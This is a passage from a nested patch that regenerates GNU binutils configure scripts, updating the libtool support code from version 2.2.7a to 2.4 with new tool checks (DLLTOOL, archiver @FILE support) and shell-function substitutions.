+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+diff --git a/ld/configure b/ld/configure
+index 1f9ec8ec580..4a35108ce7c 100755
+--- a/ld/configure
++++ b/ld/configure
+@@ -695,8 +695,11 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
+ RANLIB
++ac_ct_AR
+ AR
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -823,6 +826,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_plugins
+ enable_largefile
+@@ -1530,6 +1534,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+ --with-lib-path=dir1:dir2... set default LIB_PATH
+ --with-sysroot=DIR Search for usr/lib et al within DIR.
+ --with-system-zlib use installed libz
+@@ -5368,8 +5374,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -5409,7 +5415,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -6096,8 +6102,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -6146,6 +6152,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -6162,6 +6242,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -6330,7 +6415,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -6484,6 +6570,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -6499,6 +6600,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -6513,8 +6765,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -6530,7 +6784,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6550,11 +6804,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -6570,7 +6828,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6589,6 +6847,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -6600,25 +6862,19 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
+
+
+
+@@ -6630,6 +6886,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
++
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++
++
++
++
++
++
++
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+ set dummy ${ac_tool_prefix}strip; ac_word=$2
+@@ -6969,8 +7283,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -7006,6 +7320,7 @@ for ac_symprfx in "" "_"; do
+ else
